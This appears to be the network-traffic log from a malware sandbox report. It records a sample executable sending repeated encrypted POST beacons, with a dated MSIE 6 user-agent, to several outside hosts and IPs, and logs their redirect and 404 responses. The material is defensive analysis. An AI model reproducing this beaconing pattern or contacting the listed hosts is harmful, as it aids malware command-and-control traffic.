Oct 25, 2024 11:17:33.069426060 CEST	816	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.rs-ag.com Cache-Control: no-cache Data Raw: 49 31 68 33 6d 6a 30 58 30 2f 5a 52 69 61 4e 5a 39 47 39 65 4a 58 5a 75 58 4b 56 72 74 2f 59 4d 77 53 4e 57 45 79 78 73 50 69 71 32 66 2b 38 68 41 62 72 54 77 46 68 35 75 41 75 76 36 32 6a 53 4e 75 6c 78 64 73 41 6c 49 4f 67 68 7a 39 33 53 52 36 63 5a 59 79 73 7a 49 37 46 79 30 79 64 38 4e 7a 74 43 41 61 44 46 2b 49 54 4f 31 75 49 68 43 64 48 31 66 76 74 6b 53 43 53 6c 4d 42 4e 47 38 73 2f 33 70 58 4c 55 4b 51 66 59 64 56 50 54 76 58 5a 68 35 71 6a 39 32 79 34 48 4f 58 49 39 33 74 71 39 77 41 6b 42 35 75 32 66 57 53 63 64 30 4f 46 33 55 63 7a 4a 42 66 47 6e 55 65 78 2f 43 49 54 2b 51 6e 37 58 6a 44 79 44 46 67 46 4e 39 32 32 6d 42 56 61 75 64 7a 2f 50 64 32 75 45 30 67 39 34 51 53 7a 70 61 50 38 33 57 5a 42 61 6c 33 74 69 70 77 70 73 48 42 37 33 6c 62 50 43 57 56 72 4d 42 75 31 6d 37 6d 7a 33 69 6d 6a 79 41 38 57 6e 66 53 44 36 79 6a 72 4a 53 75 53 58 76 31 2b 68 4a 53 74 62 51 6a 69 52 6f 65 45 53 59 59 43 52 30 4e 52 58 2f 47 30 56 4c 44 56 55 6a 5a 68 73 59 66 4f 75 38 51 77 55 50 45 36 76 63 37 [TRUNCATED] Data Ascii: I1h3mj0X0/ZRiaNZ9G9eJXZuXKVrt/YMwSNWEyxsPiq2f+8hAbrTwFh5uAuv62jSNulxdsAlIOghz93SR6cZYyszI7Fy0yd8NztCAaDF+ITO1uIhCdH1fvtkSCSlMBNG8s/3pXLUKQfYdVPTvXZh5qj92y4HOXI93tq9wAkB5u2fWScd0OF3UczJBfGnUex/CIT+Qn7XjDyDFgFN922mBVaudz/Pd2uE0g94QSzpaP83WZBal3tipwpsHB73lbPCWVrMBu1m7mz3imjyA8WnfSD6yjrJSuSXv1+hJStbQjiRoeESYYCR0NRX/G0VLDVUjZhsYfOu8QwUPE6vc7Qz6ezKBOorNBw+U0bPihvF75DlwnIB0Lypw8wIJ04aiDhgaI6AnEE4YyZtVZXmEq9aN/xpYco4O7+kIho7Et400kQoO8w3mtLuxPhNFJIhPfUjd9Zf55oMpxL4NDzp364pWZsJ/87m6fC8iuZ+xGBippYBBi+bw1QOU874HX9ymSMqqgQ7UrpVO6wbO+K2S3T1UzQsUQUGh/osycJrpWTbao061zkD4oUq/oi0JmLmEvgrzPhAGsI=
Oct 25, 2024 11:17:33.669616938 CEST	985	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:33 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:33 GMT Location: http://www.rsag.info Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KZdEiS7QZISlSXG2WGkSIkqAPuY3pD8bm5HtScCgSb3qM3hbh27IUQi%2Fgw6aaou9a9pSb1slU2urgQJZkD3JsK%2FFXusyQQiugUR5hLVnab6oLOgorMimNovatf%2Bno8LF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d3cfd2f6b3e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1245&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=816&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Oct 25, 2024 11:17:34.164335012 CEST	816	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.rs-ag.com Cache-Control: no-cache Data Raw: 49 31 68 33 6d 6a 30 58 30 2f 5a 52 69 61 4e 5a 39 47 39 65 4a 58 5a 75 58 4b 56 72 74 2f 59 4d 77 53 4e 57 45 79 78 73 50 69 71 32 66 2b 38 68 41 62 72 54 77 46 68 35 75 41 75 76 36 32 6a 53 4e 75 6c 78 64 73 41 6c 49 4f 67 68 7a 39 33 53 52 36 63 5a 59 79 73 7a 49 37 46 79 30 79 64 38 4e 7a 74 43 41 61 44 46 2b 49 54 4f 31 75 49 68 43 64 48 31 66 76 74 6b 53 43 53 6c 4d 42 4e 47 38 73 2f 33 70 58 4c 55 4b 51 66 59 64 56 50 54 76 58 5a 68 35 71 6a 39 32 79 34 48 4f 58 49 39 33 74 71 39 77 41 6b 42 35 75 32 66 57 53 63 64 30 4f 46 33 55 63 7a 4a 42 66 47 6e 55 65 78 2f 43 49 54 2b 51 6e 37 58 6a 44 79 44 46 67 46 4e 39 32 32 6d 42 56 61 75 64 7a 2f 50 64 32 75 45 30 67 39 34 51 53 7a 70 61 50 38 33 57 5a 42 61 6c 33 74 69 70 77 70 73 48 42 37 33 6c 62 50 43 57 56 72 4d 42 75 31 6d 37 6d 7a 33 69 6d 6a 79 41 38 57 6e 66 53 44 36 79 6a 72 4a 53 75 53 58 76 31 2b 68 4a 53 74 62 51 6a 69 52 6f 65 45 53 59 59 43 52 30 4e 52 58 2f 47 30 56 4c 44 56 55 6a 5a 68 73 59 66 4f 75 38 51 77 55 50 45 36 76 63 37 [TRUNCATED] Data Ascii: I1h3mj0X0/ZRiaNZ9G9eJXZuXKVrt/YMwSNWEyxsPiq2f+8hAbrTwFh5uAuv62jSNulxdsAlIOghz93SR6cZYyszI7Fy0yd8NztCAaDF+ITO1uIhCdH1fvtkSCSlMBNG8s/3pXLUKQfYdVPTvXZh5qj92y4HOXI93tq9wAkB5u2fWScd0OF3UczJBfGnUex/CIT+Qn7XjDyDFgFN922mBVaudz/Pd2uE0g94QSzpaP83WZBal3tipwpsHB73lbPCWVrMBu1m7mz3imjyA8WnfSD6yjrJSuSXv1+hJStbQjiRoeESYYCR0NRX/G0VLDVUjZhsYfOu8QwUPE6vc7Qz6ezKBOorNBw+U0bPihvF75DlwnIB0Lypw8wIJ04aiDhgaI6AnEE4YyZtVZXmEq9aN/xpYco4O7+kIho7Et400kQoO8w3mtLuxPhNFJIhPfUjd9Zf55oMpxL4NDzp364pWZsJ/87m6fC8iuZ+xGBippYBBi+bw1QOU874HX9ymSMqqgQ7UrpVO6wbO+K2S3T1UzQsUQUGh/osycJrpWTbao061zkD4oUq/oi0JmLmEvgrzPhAGsI=
Oct 25, 2024 11:17:34.293000937 CEST	996	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 25 Oct 2024 10:17:34 GMT Location: http://www.rsag.info Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vRGfwk28FNpfcf0%2FRsEiTyQatZlroOGTJPboHoihmZ%2BDObCQd0AhIy6ZKw1E8sGvLuypkysOFDGlsKm64YVNXm5ht9OHCvHj9UgY%2F7z%2Fu7NtMlQkMusa19IEjbHP9Ug8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d40e8a86b3e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1247&sent=2&recv=5&lost=0&retrans=0&sent_bytes=985&recv_bytes=1632&delivery_rate=1141955&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	52552	118.27.125.181	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.121723890 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pr-park.com Cache-Control: no-cache Data Raw: 71 59 70 70 4f 50 58 2b 6b 2f 58 63 37 62 42 76 58 49 4e 31 6b 75 36 47 4f 31 36 44 68 63 4b 33 2b 57 71 6f 62 63 5a 68 4c 6e 39 52 6b 47 36 46 31 51 49 6a 73 55 38 4f 39 44 4c 4a 54 66 7a 75 74 37 77 70 38 67 46 45 58 33 4b 75 2b 53 49 78 30 6c 50 2b 4e 4d 4d 59 62 39 6f 6a 67 79 41 52 55 6c 46 6e 35 31 67 63 48 4b 45 75 51 74 68 67 4a 39 31 4a 57 2b 43 50 6a 69 72 6d 61 48 4d 4c 51 34 2f 73 6e 53 46 6c 68 38 45 32 41 45 51 54 79 4b 53 32 55 68 67 42 41 32 56 30 33 77 76 36 47 50 32 5a 55 55 4c 31 5a 67 79 37 72 56 31 6e 6f 50 6b 41 34 37 55 71 34 4d 31 6d 6b 57 79 69 65 74 52 78 49 65 41 71 41 4a 35 38 36 51 70 42 37 68 39 73 44 58 6c 39 4d 72 72 33 64 65 79 58 4e 62 7a 5a 6f 54 34 36 35 63 51 43 5a 67 6f 74 73 7a 68 69 57 4d 32 56 4c 59 71 56 54 31 66 4c 6d 74 57 4e 4f 4f 64 56 7a 4d 58 77 65 78 5a 51 62 75 74 53 71 6e 57 63 48 45 6f 2f 53 6a 61 6d 48 2b 4e 4f 50 47 38 33 30 54 50 48 71 6f 71 5a 63 74 61 7a 41 56 6f 6d 4d 37 79 39 57 6c 52 2b 65 4b 32 4a 48 4a 2b 6a 4a 35 36 47 52 64 4e 77 61 52 [TRUNCATED] Data Ascii: qYppOPX+k/Xc7bBvXIN1ku6GO16DhcK3+WqobcZhLn9RkG6F1QIjsU8O9DLJTfzut7wp8gFEX3Ku+SIx0lP+NMMYb9ojgyARUlFn51gcHKEuQthgJ91JW+CPjirmaHMLQ4/snSFlh8E2AEQTyKS2UhgBA2V03wv6GP2ZUUL1Zgy7rV1noPkA47Uq4M1mkWyietRxIeAqAJ586QpB7h9sDXl9Mrr3deyXNbzZoT465cQCZgotszhiWM2VLYqVT1fLmtWNOOdVzMXwexZQbutSqnWcHEo/SjamH+NOPG830TPHqoqZctazAVomM7y9WlR+eK2JHJ+jJ56GRdNwaRVm1akRv0kObC6mpiteNYHm42fARYlCwrFNBuHtJz8jHComa2kva/fVVYdQv9msHElJrn4BOj0Kjc4Q22Ck9dI2BE8DyBpI72WgSCx0WugD7TfGMfB85wUYAQbceGaoabVfYMMTJOAOs5QyUjUlZ+ulBSwYVseZM7wn2+GD8s8ysxhbv38uq2Cv+Kt4lw8W79qhN67OvOnm2ZZrTKprbva3
Oct 25, 2024 11:17:34.008173943 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 09:17:33 GMT Content-Type: text/html Content-Length: 19268 Connection: keep-alive Server: Apache Last-Modified: Fri, 13 May 2022 08:04:11 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Oct 25, 2024 11:17:34.008210897 CEST	1236	IN	Data Raw: 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 Data Ascii: font-weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -ms-flex-
Oct 25, 2024 11:17:34.008263111 CEST	1236	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f 6e 2d 62 61 6c 6c 6f 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 Data Ascii: } } .lol-error-page__information-balloon { width: 100%; max-width: 620px; position: relative; display: inline-block; height: auto; padding: 20px; vertical-align: middle;
Oct 25, 2024 11:17:34.008296967 CEST	1236	IN	Data Raw: 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 61 64 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 Data Ascii: 00; line-height: 1.72; } .lol-error-page__ad { width: 100%; max-width: 620px; margin: 20px auto; } .lol-error-page__ad img { max-width: 468px; width: 100%; } .
Oct 25, 2024 11:17:34.008332014 CEST	848	IN	Data Raw: 6f 72 2d 70 61 67 65 5f 5f 63 61 70 74 69 6f 6e 22 3e e3 81 8a e6 8e a2 e3 81 97 e3 81 ae e3 83 9a e3 83 bc e3 82 b8 e3 81 8c e8 a6 8b e3 81 a4 e3 81 8b e3 82 8a e3 81 be e3 81 9b e3 82 93 e3 81 a7 e3 81 97 e3 81 9f e3 80 82 3c 2f 70 3e 0a 20 20 Data Ascii: or-page__caption"></p> <div class="lol-error-page__information"> <div class="lol-error-page__information-img"> <svg xmlns="http://www.w3.org/2000/svg" w
Oct 25, 2024 11:17:34.008384943 CEST	1236	IN	Data Raw: 34 2e 30 34 35 2d 31 33 2e 35 34 35 2d 31 35 2e 32 38 39 2d 32 31 2e 33 35 36 2d 33 31 2e 37 37 34 2d 32 31 2e 34 33 31 2d 31 31 2e 32 35 33 20 30 2d 31 39 2e 39 33 33 20 33 2e 32 38 31 2d 32 35 2e 38 35 39 20 39 2e 39 2d 32 2e 37 32 37 20 33 2e Data Ascii: 4.045-13.545-15.289-21.356-31.774-21.431-11.253 0-19.933 3.281-25.859 9.9-2.727 3.152-4.766 6.839-5.986 10.824.308-4.858 1.955-9.536 4.759-13.515z"/><path fill="#fff" d="M23.693 42.593h-.4c-2.993.166-4.34 1.505-3.966 8.293-.007 2.101.415 4.181
Oct 25, 2024 11:17:34.008419991 CEST	1236	IN	Data Raw: 31 38 31 2d 2e 35 33 33 2d 32 2e 35 33 34 2d 31 2e 33 34 31 2d 35 2e 30 30 32 2d 32 2e 34 30 39 2d 37 2e 33 36 2d 2e 33 30 34 2d 2e 36 37 2d 2e 39 38 36 2d 31 2e 30 38 38 2d 31 2e 37 32 31 2d 31 2e 30 35 34 2d 31 34 2e 34 2e 36 39 32 2d 32 38 2e Data Ascii: 181-.533-2.534-1.341-5.002-2.409-7.36-.304-.67-.986-1.088-1.721-1.054-14.4.692-28.253-3.567-33.715-10.325-.57-.708-1.58-.876-2.349-.391-6.87 4.196-11.795 10.946-13.693 18.769-.787-.194-1.6-.266-2.409-.211-8.006.467-7.482 8.624-7.333 12.04-.001
Oct 25, 2024 11:17:34.008469105 CEST	1236	IN	Data Raw: 38 34 2d 32 32 2e 35 35 35 20 31 39 2e 33 38 34 7a 6d 33 32 2e 39 32 32 2d 32 36 2e 34 34 33 63 2d 2e 30 31 31 20 32 2e 30 39 38 2d 2e 34 34 39 20 34 2e 31 37 32 2d 31 2e 32 38 37 20 36 2e 30 39 35 2d 2e 37 31 38 20 31 2e 32 38 39 2d 32 2e 31 39 Data Ascii: 84-22.555 19.384zm32.922-26.443c-.011 2.098-.449 4.172-1.287 6.095-.718 1.289-2.195 1.956-3.636 1.641-.647.037-1.286-.161-1.8-.557v-.075c1.028-3.526 1.556-7.178 1.571-10.851.003-1.479-.08-2.956-.25-4.425.355-.125.731-.181 1.107-.166h.449c1.474
Oct 25, 2024 11:17:34.008502960 CEST	1236	IN	Data Raw: 37 2e 33 31 34 20 31 2e 39 31 35 2d 2e 32 37 36 2e 36 34 35 2d 2e 39 30 31 20 31 2e 30 37 32 2d 31 2e 36 30 32 20 31 2e 30 39 35 6c 2d 2e 30 31 33 2e 30 36 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 35 36 2e 33 Data Ascii: 7.314 1.915-.276.645-.901 1.072-1.602 1.095l-.013.06z"/><path fill="#fff" d="M56.39 64.973l-4.115 1.46-4.115-1.5"/><path fill="#f60" d="M52.26 68.239c-.209.001-.417-.035-.614-.105l-4.115-1.5c-.917-.361-1.38-1.387-1.043-2.313.337-.926 1.351-1.4
Oct 25, 2024 11:17:34.008538961 CEST	1236	IN	Data Raw: 38 2d 2e 32 33 38 63 2d 2e 33 37 32 2d 2e 35 33 37 2d 2e 37 34 2d 31 2e 31 30 38 2d 31 2e 31 32 33 2d 31 2e 37 32 34 6c 2d 2e 34 34 32 2d 2e 37 33 36 2d 2e 32 31 34 2d 2e 33 36 35 2d 2e 34 33 31 2d 2e 37 34 38 63 2d 31 2e 32 39 39 2d 32 2e 33 36 Data Ascii: 8-.238c-.372-.537-.74-1.108-1.123-1.724l-.442-.736-.214-.365-.431-.748c-1.299-2.367-2.416-4.83-3.342-7.366-1.876-5.242-3.133-10.686-3.746-16.22l1.927-.47 2.274 5.9c.088.224.271.396.5.47l.241.038c.153 0 .302-.044.43-.128l10.472-6.891 3.85-2.511
Oct 25, 2024 11:17:34.014144897 CEST	1084	IN	Data Raw: 2e 30 30 31 7a 6d 2d 31 39 2e 34 32 36 2d 31 33 2e 31 35 36 6c 2d 2e 33 33 34 2d 2e 38 35 34 20 33 2e 37 35 36 2d 31 2e 38 35 32 20 34 2e 39 30 36 2d 32 2e 33 39 31 2e 35 33 37 2e 36 35 33 20 31 2e 34 35 35 20 31 2e 34 2e 35 35 39 2e 35 34 37 20 Data Ascii: .001zm-19.426-13.156l-.334-.854 3.756-1.852 4.906-2.391.537.653 1.455 1.4.559.547 7.417 7.187-3.289 2.16-9.882 6.458-5.125-13.308zm24.211 6.956l-3.376-2.242 10.084-9.6.681.234.254.12 7.7 3.854-.443 1-5.185 13.111-9.715-6.477zm7.749 35.878c.152

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	52553	139.59.171.124	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:33.150374889 CEST	819	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 4e 38 65 72 52 48 44 75 34 50 62 50 37 33 65 33 67 36 2f 4c 72 53 50 54 2f 55 38 59 64 76 6a 5a 70 4e 52 33 47 67 6f 5a 43 75 4f 59 69 79 71 62 71 72 49 78 31 7a 6f 4a 4f 69 6e 65 48 50 2b 39 4a 53 72 62 52 6b 4e 54 75 2b 4c 65 6f 6d 2b 32 33 71 2f 67 4a 77 4e 79 6a 4c 77 6e 6d 44 66 43 54 33 50 62 65 66 38 33 69 6d 5a 55 6f 69 2f 49 74 77 37 49 69 32 35 6d 53 6d 47 73 4d 30 43 48 31 4f 47 31 46 4e 50 5a 35 48 77 76 49 45 46 2f 74 48 46 54 39 56 45 48 58 4c 4f 6f 62 38 6d 66 34 4c 77 49 48 63 50 48 36 74 35 62 7a 45 79 76 4c 5a 48 36 4b 30 4f 30 59 69 32 36 78 2f 4e 67 56 54 70 34 77 48 63 5a 50 79 32 46 79 41 62 48 50 31 54 33 71 52 79 30 64 4a 36 5a 75 76 2b 6d 69 65 37 48 6d 62 74 56 4d 79 4e 6f 67 56 6c 73 5a 30 45 38 39 4c 44 38 34 46 4b 59 56 63 45 2f 52 30 62 39 37 4c 6d 5a 43 65 76 74 48 51 38 52 51 6a 41 53 34 43 71 75 4b 30 6d 7a 74 39 46 75 71 65 53 68 48 4f 5a 48 7a 45 48 33 56 6e 46 6b 68 56 68 6d 31 77 67 45 55 67 44 74 51 33 74 49 61 77 7a 62 72 6d 31 30 4c 6b 69 6e 76 47 6b 6a 44 73 [TRUNCATED] Data Ascii: N8erRHDu4PbP73e3g6/LrSPT/U8YdvjZpNR3GgoZCuOYiyqbqrIx1zoJOineHP+9JSrbRkNTu+Leom+23q/gJwNyjLwnmDfCT3Pbef83imZUoi/Itw7Ii25mSmGsM0CH1OG1FNPZ5HwvIEF/tHFT9VEHXLOob8mf4LwIHcPH6t5bzEyvLZH6K0O0Yi26x/NgVTp4wHcZPy2FyAbHP1T3qRy0dJ6Zuv+mie7HmbtVMyNogVlsZ0E89LD84FKYVcE/R0b97LmZCevtHQ8RQjAS4CquK0mzt9FuqeShHOZHzEH3VnFkhVhm1wgEUgDtQ3tIawzbrm10LkinvGkjDsmKX7K+aa6JlWO6jYrlSxwds6a3X8kQ7UYUShL70li6CVUIF/SjU5ZJMWMmUscJMJwKRvIpCQgT5iUNk/+1RPe3fc/N+wgO7zhc/AolssXQdD63skcShyCypshFVZ0TGRSZTt//nHCa/2ij3/4SR4cFzvYgsb8KIZCYnakZu5ezMLpZYf1qdLns2UsZUc/wGRLE9tVNHRXrPF8cCVhOJv4l6fRbmAVNe97RcSmCfjnMcxx5VtV0gyDF
Oct 25, 2024 11:17:33.967907906 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:33 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.nunomira.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:34.191525936 CEST	819	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.nunomira.com Cache-Control: no-cache Data Raw: 4e 38 65 72 52 48 44 75 34 50 62 50 37 33 65 33 67 36 2f 4c 72 53 50 54 2f 55 38 59 64 76 6a 5a 70 4e 52 33 47 67 6f 5a 43 75 4f 59 69 79 71 62 71 72 49 78 31 7a 6f 4a 4f 69 6e 65 48 50 2b 39 4a 53 72 62 52 6b 4e 54 75 2b 4c 65 6f 6d 2b 32 33 71 2f 67 4a 77 4e 79 6a 4c 77 6e 6d 44 66 43 54 33 50 62 65 66 38 33 69 6d 5a 55 6f 69 2f 49 74 77 37 49 69 32 35 6d 53 6d 47 73 4d 30 43 48 31 4f 47 31 46 4e 50 5a 35 48 77 76 49 45 46 2f 74 48 46 54 39 56 45 48 58 4c 4f 6f 62 38 6d 66 34 4c 77 49 48 63 50 48 36 74 35 62 7a 45 79 76 4c 5a 48 36 4b 30 4f 30 59 69 32 36 78 2f 4e 67 56 54 70 34 77 48 63 5a 50 79 32 46 79 41 62 48 50 31 54 33 71 52 79 30 64 4a 36 5a 75 76 2b 6d 69 65 37 48 6d 62 74 56 4d 79 4e 6f 67 56 6c 73 5a 30 45 38 39 4c 44 38 34 46 4b 59 56 63 45 2f 52 30 62 39 37 4c 6d 5a 43 65 76 74 48 51 38 52 51 6a 41 53 34 43 71 75 4b 30 6d 7a 74 39 46 75 71 65 53 68 48 4f 5a 48 7a 45 48 33 56 6e 46 6b 68 56 68 6d 31 77 67 45 55 67 44 74 51 33 74 49 61 77 7a 62 72 6d 31 30 4c 6b 69 6e 76 47 6b 6a 44 73 [TRUNCATED] Data Ascii: 